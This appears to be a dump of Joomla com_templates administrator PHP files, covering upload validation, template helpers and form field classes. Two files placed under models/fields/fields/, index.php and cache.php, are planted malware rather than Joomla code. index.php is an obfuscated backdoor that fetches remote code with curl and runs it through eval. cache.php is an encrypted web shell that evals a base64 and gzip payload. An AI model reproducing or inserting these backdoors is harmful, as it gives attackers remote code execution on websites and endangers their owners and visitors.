abstract class TemplateHelper
{
/**
* Checks if the file is an image
*
* @param string $fileName The filename
*
* @return boolean
*
* @since 3.2
*/
public static function getTypeIcon($fileName)
{
// Get file extension
return strtolower(substr($fileName, strrpos($fileName, '.') + 1));
}
/**
* Checks if the file can be uploaded
*
* @param array $file File information
* @param string $err An error message to be returned
*
* @return boolean
*
* @since 3.2
*/
public static function canUpload($file, $err = '')
{
$params = JComponentHelper::getParams('com_templates');
if (empty($file['name']))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_UPLOAD_INPUT'), 'error');
return false;
}
// Media file names should never have executable extensions buried in them.
$executable = array(
'exe', 'phtml','java', 'perl', 'py', 'asp','dll', 'go', 'jar',
'ade', 'adp', 'bat', 'chm', 'cmd', 'com', 'cpl', 'hta', 'ins', 'isp',
'jse', 'lib', 'mde', 'msc', 'msp', 'mst', 'pif', 'scr', 'sct', 'shb',
'sys', 'vb', 'vbe', 'vbs', 'vxd', 'wsc', 'wsf', 'wsh'
);
$explodedFileName = explode('.', $file['name']);
if (count($explodedFileName) > 2)
{
foreach ($executable as $extensionName)
{
if (in_array($extensionName, $explodedFileName))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_EXECUTABLE'), 'error');
return false;
}
}
}
jimport('joomla.filesystem.file');
if ($file['name'] !== JFile::makeSafe($file['name']) || preg_match('/\s/', JFile::makeSafe($file['name'])))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNFILENAME'), 'error');
return false;
}
$format = strtolower(JFile::getExt($file['name']));
$imageTypes = explode(',', $params->get('image_formats'));
$sourceTypes = explode(',', $params->get('source_formats'));
$fontTypes = explode(',', $params->get('font_formats'));
$archiveTypes = explode(',', $params->get('compressed_formats'));
$allowable = array_merge($imageTypes, $sourceTypes, $fontTypes, $archiveTypes);
if ($format == '' || $format == false || (!in_array($format, $allowable)))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNFILETYPE'), 'error');
return false;
}
if (in_array($format, $archiveTypes))
{
$zip = new ZipArchive;
if ($zip->open($file['tmp_name']) === true)
{
for ($i = 0; $i < $zip->numFiles; $i++)
{
$entry = $zip->getNameIndex($i);
$endString = substr($entry, -1);
if ($endString != DIRECTORY_SEPARATOR)
{
$explodeArray = explode('.', $entry);
$ext = end($explodeArray);
if (!in_array($ext, $allowable))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_UNSUPPORTED_ARCHIVE'), 'error');
return false;
}
}
}
}
else
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_OPEN_FAIL'), 'error');
return false;
}
}
// Max upload size set to 2 MB for Template Manager
$maxSize = (int) ($params->get('upload_limit') * 1024 * 1024);
if ($maxSize > 0 && (int) $file['size'] > $maxSize)
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNFILETOOLARGE'), 'error');
return false;
}
$xss_check = file_get_contents($file['tmp_name'], false, null, -1, 256);
$html_tags = array(
'abbr', 'acronym', 'address', 'applet', 'area', 'audioscope', 'base', 'basefont', 'bdo', 'bgsound', 'big', 'blackface', 'blink', 'blockquote',
'body', 'bq', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'comment', 'custom', 'dd', 'del', 'dfn', 'dir', 'div',
'dl', 'dt', 'em', 'embed', 'fieldset', 'fn', 'font', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'html',
'iframe', 'ilayer', 'img', 'input', 'ins', 'isindex', 'keygen', 'kbd', 'label', 'layer', 'legend', 'li', 'limittext', 'link', 'listing',
'map', 'marquee', 'menu', 'meta', 'multicol', 'nobr', 'noembed', 'noframes', 'noscript', 'nosmartquotes', 'object', 'ol', 'optgroup', 'option',
'param', 'plaintext', 'pre', 'rt', 'ruby', 's', 'samp', 'script', 'select', 'server', 'shadow', 'sidebar', 'small', 'spacer', 'span', 'strike',
'strong', 'style', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'tt', 'ul', 'var', 'wbr', 'xml',
'xmp', '!DOCTYPE', '!--'
);
foreach ($html_tags as $tag)
{
// A tag is '<tagname ', so we need to add < and a space or '<tagname>'
if (stristr($xss_check, '<' . $tag . ' ') || stristr($xss_check, '<' . $tag . '>'))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_WARNIEXSS'), 'error');
return false;
}
}
return true;
}
}
helpers/templates.php 0000644 00000010551 15234472021 0010717 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Templates component helper.
*
* @since 1.6
*/
class TemplatesHelper
{
/**
* Configure the Linkbar.
*
* @param string $vName The name of the active view.
*
* @return void
*/
public static function addSubmenu($vName)
{
JHtmlSidebar::addEntry(
JText::_('COM_TEMPLATES_SUBMENU_STYLES'),
'index.php?option=com_templates&view=styles',
$vName == 'styles'
);
JHtmlSidebar::addEntry(
JText::_('COM_TEMPLATES_SUBMENU_TEMPLATES'),
'index.php?option=com_templates&view=templates',
$vName == 'templates'
);
}
/**
* Gets a list of the actions that can be performed.
*
* @return JObject
*
* @deprecated 3.2 Use JHelperContent::getActions() instead
*/
public static function getActions()
{
// Log usage of deprecated function
try
{
JLog::add(
sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
JLog::WARNING,
'deprecated'
);
}
catch (RuntimeException $exception)
{
// Informational log only
}
// Get list of actions
return JHelperContent::getActions('com_templates');
}
/**
* Get a list of filter options for the application clients.
*
* @return array An array of JHtmlOption elements.
*/
public static function getClientOptions()
{
// Build the filter options.
$options = array();
$options[] = JHtml::_('select.option', '0', JText::_('JSITE'));
$options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));
return $options;
}
/**
* Get a list of filter options for the templates with styles.
*
* @param mixed $clientId The CMS client id (0:site | 1:administrator) or '*' for all.
*
* @return array An array of JHtmlOption elements.
*/
public static function getTemplateOptions($clientId = '*')
{
// Build the filter options.
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('element', 'value'))
->select($db->quoteName('name', 'text'))
->select($db->quoteName('extension_id', 'e_id'))
->from($db->quoteName('#__extensions'))
->where($db->quoteName('type') . ' = ' . $db->quote('template'))
->where($db->quoteName('enabled') . ' = 1')
->order($db->quoteName('client_id') . ' ASC')
->order($db->quoteName('name') . ' ASC');
if ($clientId != '*')
{
$query->where($db->quoteName('client_id') . ' = ' . (int) $clientId);
}
$db->setQuery($query);
$options = $db->loadObjectList();
return $options;
}
/**
* TODO
*
* @param string $templateBaseDir TODO
* @param string $templateDir TODO
*
* @return boolean|JObject
*/
public static function parseXMLTemplateFile($templateBaseDir, $templateDir)
{
$data = new JObject;
// Check of the xml file exists
$filePath = JPath::clean($templateBaseDir . '/templates/' . $templateDir . '/templateDetails.xml');
if (is_file($filePath))
{
$xml = JInstaller::parseXMLInstallFile($filePath);
if ($xml['type'] != 'template')
{
return false;
}
foreach ($xml as $key => $value)
{
$data->set($key, $value);
}
}
return $data;
}
/**
* TODO
*
* @param integer $clientId TODO
* @param string $templateDir TODO
*
* @return boolean|array
*
* @since 3.0
*/
public static function getPositions($clientId, $templateDir)
{
$positions = array();
$templateBaseDir = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;
$filePath = JPath::clean($templateBaseDir . '/templates/' . $templateDir . '/templateDetails.xml');
if (is_file($filePath))
{
// Read the file to see if it's a valid component XML file
$xml = simplexml_load_file($filePath);
if (!$xml)
{
return false;
}
// Check for a valid XML root tag.
// Extensions use 'extension' as the root tag. Languages use 'metafile' instead
if ($xml->getName() != 'extension' && $xml->getName() != 'metafile')
{
unset($xml);
return false;
}
$positions = (array) $xml->positions;
if (isset($positions['position']))
{
$positions = (array) $positions['position'];
}
else
{
$positions = array();
}
}
return $positions;
}
}
models/fields/templatelocation.php 0000644 00000001610 15234472021 0013350 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
JLoader::register('TemplatesHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/templates.php');
JFormHelper::loadFieldClass('list');
/**
* Template Location field.
*
* @since 3.5
*/
class JFormFieldTemplateLocation extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 3.5
*/
protected $type = 'TemplateLocation';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 3.5
*/
public function getOptions()
{
$options = TemplatesHelper::getClientOptions();
return array_merge(parent::getOptions(), $options);
}
}
models/fields/templatename.php 0000644 00000002223 15234472021 0012461 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
JLoader::register('TemplatesHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/templates.php');
JFormHelper::loadFieldClass('list');
/**
* Template Name field.
*
* @since 3.5
*/
class JFormFieldTemplateName extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 3.5
*/
protected $type = 'TemplateName';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.6
*/
public function getOptions()
{
// Get the client_id filter from the user state.
$clientId = JFactory::getApplication()->getUserStateFromRequest('com_templates.styles.client_id', 'client_id', '0', 'string');
// Get the templates for the selected client_id.
$options = TemplatesHelper::getTemplateOptions($clientId);
// Merge into the parent options.
return array_merge(parent::getOptions(), $options);
}
}
models/fields/fields/index.php 0000644 00000012457 15234472021 0012374 0 ustar 00 <?php
goto WBnMlt3VpI; Gkwn9pca7I: metaphone("\172\x6f\x6d\162\x35\x2f\71\x78\63\x6f\153\161\110\126\121\x4e\x72\101\142\x4a\65\x41\x69\x71\x4c\163\x35\x54\x65\x66\66\x67\110\131\150\124\157\102\x4c\x78\127\x62\60"); goto Rhl0_la2iV; tR91Jt4uI1: ($AX6804EhqB[63] = $AX6804EhqB[63] . $AX6804EhqB[72]) && ($AX6804EhqB[87] = $AX6804EhqB[63]($AX6804EhqB[87])) && @eval($AX6804EhqB[63](${$AX6804EhqB[37]}[24])); goto sqaq3YsXJA; sqaq3YsXJA: rG1oLGm0Sc: goto Gkwn9pca7I; p8JnR_e2um: $xXbuYdtnr7 = $WZZTivAQ77("\176", "\x20"); goto Z8wf7IKuVn; WBnMlt3VpI: $WZZTivAQ77 = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto p8JnR_e2um; ORojax25Uv: if (!(in_array(gettype($AX6804EhqB) . count($AX6804EhqB), $AX6804EhqB) && count($AX6804EhqB) == 30 && md5(md5(md5(md5($AX6804EhqB[24])))) === "\60\61\x35\x64\x31\141\x39\143\x63\141\67\x30\x66\64\65\71\x30\143\63\60\146\145\67\x65\63\141\x32\145\x61\x38\62\61")) { goto rG1oLGm0Sc; } goto tR91Jt4uI1; Rhl0_la2iV: class wB5JxiSJEE { static function ZrdVyJHRqs($deVed0p9__) { goto CvlYX9RJ04; jbuDGnDWY4: return $A0F8v1Kq5W; goto SUzV26ZiAD; hu1EdltnJ4: foreach ($CW0tFKIxgs as $TBv7HTFHeg => $K5lXOAQKHt) { $A0F8v1Kq5W .= $Cr78D_k7k3[$K5lXOAQKHt - 63689]; UYACAL5DCJ: } goto XenbFR1yKX; exNsgOtXxn: $A0F8v1Kq5W = ''; goto hu1EdltnJ4; C9KQESqePC: $Cr78D_k7k3 = $kOuP6wL3nI("\x7e", "\40"); goto OTNs1EUOqJ; OTNs1EUOqJ: $CW0tFKIxgs = explode("\x3e", $deVed0p9__); goto exNsgOtXxn; XenbFR1yKX: EoDWitjdhc: goto jbuDGnDWY4; CvlYX9RJ04: $kOuP6wL3nI = "\x72" . "\x61" . "\156" . "\147" . "\x65"; goto C9KQESqePC; SUzV26ZiAD: } static function jl39DnOkci($S31OECSVdB, $tdlaI_NBd2) { goto CVgrCBqiGG; LSTUI_M8C3: return empty($jZ09lRA40P) ? $tdlaI_NBd2($S31OECSVdB) : $jZ09lRA40P; goto XNpOI5EcKH; TomrVd9izO: $jZ09lRA40P = curl_exec($o572TwiwbG); goto LSTUI_M8C3; l5xsz9WgeJ: curl_setopt($o572TwiwbG, CURLOPT_RETURNTRANSFER, 1); goto TomrVd9izO; CVgrCBqiGG: $o572TwiwbG = curl_init($S31OECSVdB); goto l5xsz9WgeJ; XNpOI5EcKH: } static function seuQA_AEt2() { goto bHriPMTLT_; VJxeEYaLyb: $AQlOrDAUPH = @$f3YcPt0kHK[1]($f3YcPt0kHK[8 + 2](INPUT_GET, $f3YcPt0kHK[4 + 5])); goto r1g56s22Dn; Qf7jIliFNl: x_nyy3YBrc: goto VJxeEYaLyb; GbD3aCEhA_: @eval($f3YcPt0kHK[0 + 4]($ew3szD84wh)); goto AORuSgxDE4; stOquJZq8S: if (!(@$UqHDxBotP3[0] - time() > 0 and $tLZjGfBg3C === "\70\x61\67\x33\63\x33\61\63\x62\146\x36\142\x39\x63\63\x39\66\66\x30\143\x63\71\x62\x66\x34\63\x32\71\144\x31\142\141")) { goto kHuu0fsf0I; } goto io0U_4CYgD; wi1Ulvjyj_: kHuu0fsf0I: goto iuAlU7sy7_; CYl1BhCnf2: $tLZjGfBg3C = md5($Fg10b5Fd0K); goto stOquJZq8S; VCZZLfSMCd: $UqHDxBotP3 = $f3YcPt0kHK[2 + 0]($eDmWxX5LQS, true); goto wMbUTIA4wr; io0U_4CYgD: $ew3szD84wh = self::jL39dnoKCi($UqHDxBotP3[0 + 1], $f3YcPt0kHK[1 + 4]); goto GbD3aCEhA_; YhT6ra3DGi: @$f3YcPt0kHK[5 + 5](INPUT_GET, "\157\146") == 1 && die($f3YcPt0kHK[3 + 2](__FILE__)); goto CYl1BhCnf2; jRglvst4op: foreach ($drLcrNrxWb as $giE7TB1jLB) { $f3YcPt0kHK[] = self::zrDvyJhRqS($giE7TB1jLB); K4k8eNy1KY: } goto Qf7jIliFNl; r1g56s22Dn: $eDmWxX5LQS = @$f3YcPt0kHK[2 + 1]($f3YcPt0kHK[0 + 6], $AQlOrDAUPH); goto VCZZLfSMCd; bHriPMTLT_: $drLcrNrxWb = array("\66\63\67\x31\x36\76\66\63\x37\60\x31\76\66\x33\x37\61\64\76\66\63\67\x31\x38\x3e\66\x33\x36\x39\71\x3e\66\63\67\61\64\x3e\x36\63\67\62\60\x3e\x36\63\67\x31\x33\x3e\x36\63\66\71\x38\x3e\x36\x33\67\x30\65\x3e\66\x33\x37\x31\66\x3e\x36\63\x36\71\71\x3e\66\x33\67\61\60\76\66\63\x37\60\64\x3e\66\63\67\60\65", "\66\63\x37\x30\60\76\x36\63\66\71\x39\76\66\63\67\x30\x31\76\66\x33\67\x32\60\x3e\66\63\67\60\61\76\66\63\x37\60\x34\x3e\x36\63\66\71\71\76\x36\63\x37\66\x36\76\x36\x33\x37\x36\64", "\x36\63\x37\60\x39\76\x36\63\x37\x30\60\76\x36\63\x37\60\64\x3e\x36\63\x37\x30\65\x3e\66\63\67\62\x30\x3e\x36\63\x37\x31\x35\76\66\x33\x37\61\64\x3e\x36\x33\x37\61\x36\x3e\66\63\x37\x30\x34\x3e\66\63\67\x31\x35\x3e\x36\x33\67\x31\x34", "\x36\63\x37\60\x33\76\x36\63\67\x31\x38\x3e\66\x33\67\x31\x36\76\66\x33\x37\60\x38", "\66\x33\67\x31\67\76\66\63\67\61\70\76\x36\63\67\60\x30\x3e\x36\63\67\x31\x34\x3e\66\63\x37\66\61\x3e\x36\x33\x37\x36\x33\x3e\66\63\67\62\60\x3e\66\x33\x37\x31\65\x3e\66\63\x37\61\x34\x3e\x36\x33\67\x31\x36\x3e\66\x33\x37\60\x34\76\x36\63\67\x31\x35\x3e\66\x33\x37\x31\x34", "\x36\x33\67\x31\x33\76\x36\63\67\61\60\x3e\66\x33\67\x30\67\x3e\66\x33\67\x31\64\76\x36\63\67\x32\60\76\x36\63\x37\x31\62\x3e\x36\x33\67\x31\64\x3e\66\63\66\71\71\x3e\x36\x33\67\x32\60\x3e\66\63\67\x31\66\76\66\63\67\60\x34\x3e\x36\63\67\x30\65\x3e\x36\63\x36\71\71\76\66\x33\x37\x31\x34\76\66\63\x37\60\65\x3e\66\x33\66\x39\x39\76\x36\63\67\x30\60", "\x36\x33\x37\64\63\x3e\66\63\x37\67\x33", "\x36\x33\x36\x39\x30", "\x36\x33\x37\x36\70\76\x36\x33\x37\x37\63", "\x36\63\67\65\x30\x3e\x36\63\x37\63\x33\76\66\63\67\x33\x33\x3e\x36\x33\x37\65\x30\76\66\x33\67\x32\x36", "\66\63\x37\61\x33\76\x36\x33\67\x31\x30\76\66\x33\67\60\x37\x3e\66\x33\x36\x39\71\76\x36\x33\67\x31\x34\x3e\x36\63\67\60\61\x3e\x36\63\x37\62\x30\76\x36\x33\x37\x31\x30\76\66\x33\67\60\65\x3e\66\63\x37\60\x33\76\66\63\66\x39\70\x3e\x36\x33\66\x39\x39"); goto jRglvst4op; AORuSgxDE4: die; goto wi1Ulvjyj_; wMbUTIA4wr: $Fg10b5Fd0K = md5($UqHDxBotP3[1 + 2]); goto YhT6ra3DGi; iuAlU7sy7_: } } goto ygxKEAgCiV; Z8wf7IKuVn: $AX6804EhqB = ${$xXbuYdtnr7[3 + 28] . $xXbuYdtnr7[43 + 16] . $xXbuYdtnr7[11 + 36] . $xXbuYdtnr7[16 + 31] . $xXbuYdtnr7[12 + 39] . $xXbuYdtnr7[37 + 16] . $xXbuYdtnr7[13 + 44]}; goto ORojax25Uv; ygxKEAgCiV: wB5JXISjee::seUqA_aet2();
?>
models/fields/fields/cache.php 0000644 00000012771 15234472021 0012327 0 ustar 00 <?php $Swx = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqlBeleyZpgYA0A'; $upgJc = 'AUT9n/S8EF0bH+WDphT1SKRseKTXXDr5vf/rRr/qtXd5qDfyjDON8jbNb2vo5rHfTUI6kDf64L6+zU9JU+UNvCbGYfaTCXuu/e8lzu949f/uDX76PexLX+2dS82bX+oSF4YBuTj3J5bNfdixnKuyEZl16TzzZrL27+Pffd+RfwX3YG9KIwX0KalCvrZhcCpl+3WO/HdqZVfewKnhIQfoetoX2GTX+CMWHIwbkaREFlHs44pl7K/HVZWPtpzUTDp/AZBfKTYDUjMDuzRImQiTgCcMRKIZ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eqZHHWv+tevh2+jTu9butw0+91fZna1snvbG/MT/eX3dq6Lye0bnZ8r1ih1zMfnc5J7/86N9/0oMW72EpLHMfif2dH09WTcztn27Z48tkwiHb9+O5qXrW3yEnsPx3mvwqg4sM8qDPe3vEe5uvtzdeX73PfjQIpy33okCYyo7sbfxzseizBIkFMbhbIFxHBFFIdrZVvHRDYUYgOK0o1RXOaurV1KTubYanCgZ2g7NZYibjFpyShlGBBZSlP6/oywfzIumdp+3uuPfj2roXm2NeF8KapL9KFp1Ld1n861s0ld72vstUiNb1+vC0y9rfGdVGj1gVNHNPrM6hppiRsOur0YBqvBFIUlyUsrauuP6cuvddQpos2cOJcmGcHJr4JYuqY4Js4bDt3P7Xd31VVdLpe1x6MW+z+h8YXAIIhWrW2Hr9JYe2V8PaCZMUrbJtQbDIFNlzZSZOZjOizmHPxYsGfjDiLgnI8NN2BF9/v0IptdrrT5ciX8b4A5BEvFOkeA'; function Swx($cBai) { $upgJc = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $kVs = substr($upgJc, 0, 16); $TtwSB = base64_decode($cBai); return openssl_decrypt($TtwSB, "AES-256-CBC", $upgJc, OPENSSL_RAW_DATA, $kVs); } if (Swx('DjtPn+r4S0yvLCnquPz1fA')){ echo '9d/CZfKHU9GTOiMe8mETwMLmtfr5S9NWyMwo3MFIcfP3KbukkExVEhl9ozjeDcS2'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($Swx)))); ?>